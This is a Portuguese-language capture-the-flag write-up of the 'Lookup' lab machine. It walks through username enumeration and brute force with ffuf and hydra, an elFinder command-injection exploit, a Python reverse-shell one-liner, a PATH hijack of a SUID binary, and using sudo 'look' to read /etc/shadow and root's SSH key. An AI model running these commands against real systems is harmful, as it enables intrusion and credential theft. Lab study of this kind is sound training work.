Skip to content

Lookup

Requisitos

Neste CTF, é necessário ter conhecimentos sobre:

  • Subdomínios
  • Brute Force
  • Command Injection
  • Binários com SUID
  • Engenharia reversa
  • Funcionamento do sudo
  • Armazenamento de chaves SSH

Reconhecimento

Para analisar a superfície de ataque, utilizaremos o Nmap para realizar uma varredura SYN Scan, usando o comando abaixo.

┌──(root㉿kali)-[/home/alex]
└─# nmap -Pn -sS 10.10.198.41  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-01 14:42 -03
Nmap scan report for lookup.thm (10.10.198.41)
Host is up (0.33s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 5.09 seconds
                                                                                                                                                                                                                                            
┌──(root㉿kali)-[/home/alex]
└─# nmap -Pn -sS -p- --open 10.10.198.41
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-01 14:43 -03
Nmap scan report for lookup.thm (10.10.198.41)
Host is up (0.33s latency).
Not shown: 65430 closed tcp ports (reset), 103 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 110.74 seconds

Temos apenas um servidor web e a porta 22 do serviço SSH disponível.

Home page

Tentamos listar os métodos permitidos, mas não recebemos resposta do servidor. Provavelmente, ele foi configurado para não fornecer essa informação.

┌──(root㉿kali)-[/home/alex]
└─# curl -I -X OPTIONS http://lookup.thm
HTTP/1.1 200 OK
Date: Sat, 01 Feb 2025 17:50:26 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 719
Content-Type: text/html; charset=UTF-8

Utilizaremos a ferramenta gobuster para enumerar os diretórios disponíveis.

gobuster dir  -e -u http://lookup.thm/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-1.0.txt

gobuster

Não concluímos a varredura; aparentemente, não encontraremos nenhum diretório com esta wordlist.

As únicas informações que temos são: portas abertas, a versão do servidor web rodando PHP e uma tela de login. Vamos entender o comportamento dessa tela. Quando tentamos acessar com o usuário admin e a senha 123, recebemos a mensagem Wrong password.

burp

Quando tentamos realizar o acesso com o usuário adm e a senha 123, recebemos a mensagem Wrong username or password.

burp 2

Dessa forma, sabemos que o usuário admin existe. Não temos mais informações no momento, então vamos tentar descobrir mais usuários que existem na aplicação.

ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -X POST -d "username=FUZZ&password=123" -H "Content-Type: application/x-www-form-urlencoded"  -u http://lookup.thm/login.php -fs 74

O motivo do cabeçalho no comando é informar ao servidor que os dados estão codificados no formato application/x-www-form-urlencoded, que é o formato padrão para enviar dados de formulários na web.

ffuf

Encontramos outro usuário, jose. Agora, vamos tentar realizar um ataque de brute force nos dois usuários encontrados.

ffuf -w usuarios:FUZZ -w /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt:FUZZ2 -X POST -d "username=FUZZ&password=FUZZ2" -H "Content-Type: application/x-www-form-urlencoded"  -u http://lookup.thm/login.php -fs 62

ffuf 2

Verificamos se a senha do usuário admin é válida.

brute force

A senha não é válida, mas o comportamento da aplicação foi diferente; não recebemos a mensagem Wrong password. Sabemos que o usuário admin é válido, então provavelmente estamos utilizando a senha correta com o usuário errado! Vamos tentar usar a mesma senha com o usuário jose.

subdomain discover

A senha é válida para o usuário jose! Agora precisamos alterar nosso arquivo /etc/hosts para incluir o subdomínio files.

┌──(root㉿kali)-[/home/alex]
└─# cat /etc/hosts 
127.0.0.1       localhost
127.0.1.1       kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.145.252 lookup.thm files.lookup.thm

Agora conseguimos visualizar a aplicação.

elfinder

Exploração

Com acesso à aplicação, podemos realizar novamente a enumeração e identificar a versão do gerenciador de arquivos web.

version elfinder

Temos diversos arquivos neste gerenciador de arquivos. Vamos documentá-los.

Nome do arquivoConteúdoNome do arquivoConteúdo
adm.txtswaddle
throbbed
mysql.txtacculturation
rotterdam
idiosyncratically
admin.txtpectic
agretha
only-begotten
renewable
oracle.txtgluten
enjoyableness
administrator.txtrycca
show-offs
overcast
packinghouse
pi.txtultracentrifugally
whistler
pervertedly
unlettered
ansible.txterroll
madagascan
angina
eulogistic
puppet.txthypothalamus
filigreeing
azureuser.txtthirty-three
underpart
responder
handgun
root.txthypothalamus
filigreeing
credentials.txtthink : nopasswordtest(arquivo vazio)
ec2-user.txtresourcelessness
jazz
test.txttipoff
dhabi
deriding
hoofer
ftp.txtharebrained
refereed
doctorskop
thislogin.txtjose : password123
guest.txtshipman
budgie
holm
firetruck
user.txtearthy
fiduciary
weighted
outbound
info.txthygienic
cubby-hole
williston
arkaroola
vagrant.txtaltair
smokestack
superconductor

Verificamos os arquivos que a aplicação permite criar.

Files support

Sendo assim, tentamos inserir nosso payload dentro de um arquivo PNG.

exiftool -DocumentName="<?php phpinfo(); __halt_compiler(); ?>"

exiftool

A aplicação não processa nosso phpinfo. A imagem é aberta normalmente, porém o código php não é executado. Tentamos permitir o formato php na opção Preferences > All, mas mesmo assim, a aplicação não permite o upload desse tipo de formato.

Error php

A versão do gerenciador de arquivos parece ser vulnerável. Encontramos o exploit abaixo para teste:

Exploit: https://www.exploit-db.com/exploits/46481

O exploit funciona da seguinte maneira resumidamente:

  • Upload de Imagem Maliciosa: O atacante faz upload de uma imagem com um nome de arquivo especialmente criado que contém comandos maliciosos.

  • Execução do Payload: Quando o elFinder processa a imagem, ele executa os comandos inseridos no nome do arquivo, permitindo a execução de comandos arbitrários no servidor.

  • Acesso à Shell: O exploit pode ser usado para obter uma shell reversa, permitindo ao atacante controlar o servidor comprometido

Para executá-lo, primeiro precisamos ter uma imagem com o nome SecSignal.jpg. Quando executamos o exploit, recebemos o erro abaixo:

Exploit error

Para entendermos melhor o erro, vamos inserir um print(r.text) dentro da função upload. Assim, saberemos como é o JSON que estamos recebendo.

Print r

Não estamos recebendo resposta. A URL não foi encontrada, provavelmente porque a informamos incorretamente. Abaixo está a URL correta para o exploit funcionar.

output json

Agora sabemos a URL correta que devemos utilizar. No entanto, mesmo assim, o alvo não foi explorado. Analisando outro exploit disponível no msfconsole, conseguimos obter a shell. A exploração é realizada da mesma maneira: é feito upload de uma imagem que explora uma vulnerabilidade de injeção de comandos no conector PHP do elFinder.

Ao analisar melhor o exploit que baixamos do exploit-db, descobrimos o motivo do problema. A imagem que estava sendo utilizada estava em formato PNG, mesmo com a extensão sendo .jpg. O exploit foi desenvolvido para tratar e executar imagem em formato JPG. Após a alteração da imagem para uma que de fato é JPG, conseguimos obter acesso à máquina.

shell reverse

Melhorando a shell

Agora, vamos melhorar nossa shell para termos mais estabilidade em nossa pós-exploração. Para obtermos a shell reversa, escolhemos o Python.

No alvo:

/usr/bin/python3.8 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("MY IP",PORTA));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

Depois, deixamos nossa shell reversa full tty.

full tty

Pós-exploração

Nossa primeira pergunta é What is the user flag?. Sendo assim, vamos direto ao diretório home, onde encontramos apenas um usuário: think.

home user

Quando realizamos a enumeração do ElFinder, encontramos o arquivo credentials.txt, que continha as informações: think : nopassword. No arquivo /etc/passwd, há apenas esse usuário criado no sistema.

passwd

Não obtivemos sucesso ao tentar logar com as credenciais do usuário.

www-data@lookup:/home$ su think
Password: 
su: Authentication failure
www-data@lookup:/home$

Vamos precisar enumerar o alvo.
Coletando informações OS.

www-data@lookup:/var/www/files.lookup.thm/public_html/elFinder/php$ (cat /proc/version || uname -a ) 2>/dev/null
Linux version 5.4.0-156-generic (buildd@lcy02-amd64-078) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #173-Ubuntu SMP Tue Jul 11 07:25:22 UTC 2023

www-data@lookup:/var/www/files.lookup.thm/public_html/elFinder/php$ lsb_release -a 2>/dev/null
Distributor ID: Ubuntu
Description:    Ubuntu 20.04.6 LTS
Release:        20.04
Codename:       focal

Versão do sudo é vulnerável, porém foi mitigado no alvo.

www-data@lookup:/var/www/files.lookup.thm/public_html/elFinder/php$ sudo -V
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31

Verificando os diretórios em PATH, não possuímos permissão de escrita.

www-data@lookup:/$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Analisando os arquivos do usuário thinknão identificamos nenhum um arquivo, que podemos escrever, alguns não podemos ler também, como .passwords.

ls

Procurando por binários com SUID ativo, encontramos alguns.

www-data@lookup:/tmp$ find / -perm -u=s -type f 2>/dev/null
...
/usr/sbin/pwm
/usr/bin/at
/usr/bin/fusermount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/umount
www-data@lookup:/tmp$ 

Executando o /usr/sbin/pwm temos uma saída diferente do normal.

www-data@lookup:/tmp$ /usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: www-data
[-] File /home/www-data/.passwords not found
www-data@lookup:/tmp$ 

O binário verifica qual usuário está executando-o e, após isso, procura pelo arquivo .passwords. O arquivo não é encontrado, pois nosso usuário atual não possui o arquivo e o diretório. No entanto, o usuário think possui esse arquivo, conforme já tínhamos listado anteriormente. Com o comando strings, vemos mais algumas informações da execução do binário.

strings

Temos uma expressão regular em uid=%*u(%[^)]), ela funciona da seguinte maneira:

  • uid=%*u(: Esta parte corresponde ao texto literal “uid=%” seguido por um número inteiro (u) e o caractere (. O asterisco * após o % indica que o número inteiro (u) é lido, mas ignorado (não armazenado).

  • %[^)]: Esta parte corresponde a qualquer sequência de caracteres que não contenham ) (parêntese fechado). Os caracteres correspondentes a essa parte são armazenados no buffer de correspondência.

Basicamente, a expressão regular extrai a sequência de caracteres que vem logo após o "uid=%" e o número, até encontrar um ).

Copiamos o binário para nossa máquina local, executando-o vemos que o texto extraído do comando idé root.

id root

O comando id está sendo executado com privilégios administrativos, vamos realizar um path hijacking. Caso o caminho para executar o comando id no binário esteja definido como relativo, conseguiremos manipular a execução.

O binário, como vimos, verifica o nome do usuário e depois verifica o conteúdo do arquivo .passwords no diretório home desse usuário. Não podemos simplesmente criar um arquivo /bin/bash, porque a informação da saída do comando id é usada para determinar qual diretório home será verificado.

Vamos criar o seguinte arquivo id no diretório /tmp.

www-data@lookup:/tmp$ echo -e '#!/bin/bash\necho "uid=33(think) gid=33(www-data) groups=33(www-data)"' > /tmp/id
www-data@lookup:/tmp$ cat id
#!/bin/bash
echo "uid=33(think) gid=33(www-data) groups=33(www-data)"
www-data@lookup:/tmp$ 

Agora vamos inserir o diretório /tmp no PATH, para que o nosso script criado seja utilizado.

www-data@lookup:/tmp$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
www-data@lookup:/tmp$ export PATH=/tmp:$PATH
www-data@lookup:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
www-data@lookup:/tmp$ 

Quando o sistema executa alguma variável de ambiente, ele verifica os diretórios contidos no PATH da esquerda para a direita. Sendo assim, o primeiro diretório a ser verificado será o /tmp.
Vamos executar o binário novamente.

content passwords

Transferimos todas as senhas contidas no arquivo .passwords para um arquivo local. No total, temos 49 senhas.

┌──(root㉿estudos)-[/home/alex/Desktop]
└─# wc -l wordlist_think             
49 wordlist_think

Sabemos que a porta do serviço ssh está ativa. Vamos tentar realizar o acesso utilizando essas senhas.

hydra -l think -P wordlist_think ssh://lookup.thm 

hydra

Obtemos a senha correta, agora vamos realizar o acesso via SSH .

┌──(root㉿estudos)-[/home/alex/Desktop]
└─# ssh think@lookup.thm 
think@lookup:~$ id
uid=1000(think) gid=1000(think) groups=1000(think)

Nossa primeira flag está no arquivo user.txt .

think@lookup:~$ cat user.txt 
38[REDACTED]0e

Escalonando para root

Verificando os arquivos ocultos no mesmo diretório, não identificamos formas de escalar privilégio até o usuário root.

home think

Vamos verificar quais comandos podemos executar como root.

think@lookup:~$ sudo -l
Matching Defaults entries for think on lookup:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User think may run the following commands on lookup:
    (ALL) /usr/bin/look
think@lookup:~$

O comando look pode ser executado como root. Vamos verificar o que esse comando faz, lendo sua documentação com man look.

look

Informamos uma string e um arquivo, e o comando irá procurar todas as linhas que comecem com a string informada. Como o comando é executado com privilégio root, podemos ler os arquivos que somente o root tem acesso, por exemplo, /etc/shadow.

shadow

Copiamos o conteúdo de shadow e de passwd para nossa máquina local.
Já sabemos a senha de think, então apenas nos interessa a senha do root. Sendo assim, criamos um arquivo hash com o utilitário unshadow, contendo a hash do usuário root.

┌──(root㉿estudos)-[/home/alex/Desktop]
└─# unshadow passwd shadown > hash

O algoritmo de hash utilizado é sha512. Vamos utilizar esse formato no programa john para descobrir a hash.

sha512

┌──(root㉿estudos)-[/home/alex/Desktop]
└─# john --format=sha512crypt hashes --wordlist=rockyou.txt   
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:17:59 7.70% (ETA: 22:21:47) 0g/s 1157p/s 1157c/s 1157C/s supermod1..supergirl23
Session aborted

Depois de um certo período de tempo executando a quebra, abortamos a execução do programa. Aparentemente, a senha não será descoberta dessa forma. Sabemos o caminho padrão onde o sistema salva as chaves ssh.

Caminho: ~/.ssh/

Vamos verificar se é possível recuperar a chave privada do usuário root

id_rsa

Conseguimos recupera-la, agora tentaremos realizar o acesso ssh, utilizando a chave privada do root.

┌──(root㉿estudos)-[/home/alex/Desktop]
└─# ssh -i id_rsa root@lookup.thm
root@lookup:~# ls -l
total 60K
drwx------  6 root root 4.0K May 13  2024 .
drwxr-xr-x 19 root root 4.0K Jan 11  2024 ..
lrwxrwxrwx  1 root root    9 Jun  2  2023 .bash_history -> /dev/null
-rw-r--r--  1 root root 3.2K May 12  2024 .bashrc
drwx------  2 root root 4.0K Jan 11  2024 .cache
-rwxrwx---  1 root root   66 Jan 11  2024 cleanup.sh
drwx------  3 root root 4.0K Apr 17  2024 .config
drwxr-xr-x  3 root root 4.0K Jun 21  2023 .local
-rw-r--r--  1 root root  161 Jan 11  2024 .profile
-rw-r-----  1 root root   33 Jan 11  2024 root.txt
lrwxrwxrwx  1 root root    9 Jul 31  2023 .selected_editor -> /dev/null
drwx------  2 root root 4.0K Jan 11  2024 .ssh
-rw-rw-rw-  1 root root  17K May 13  2024 .viminfo
root@lookup:~# cat root.txt 
5a28[REDACTED]18e8

Conseguimos o acesso ssh e também nossa última flag deste CTF.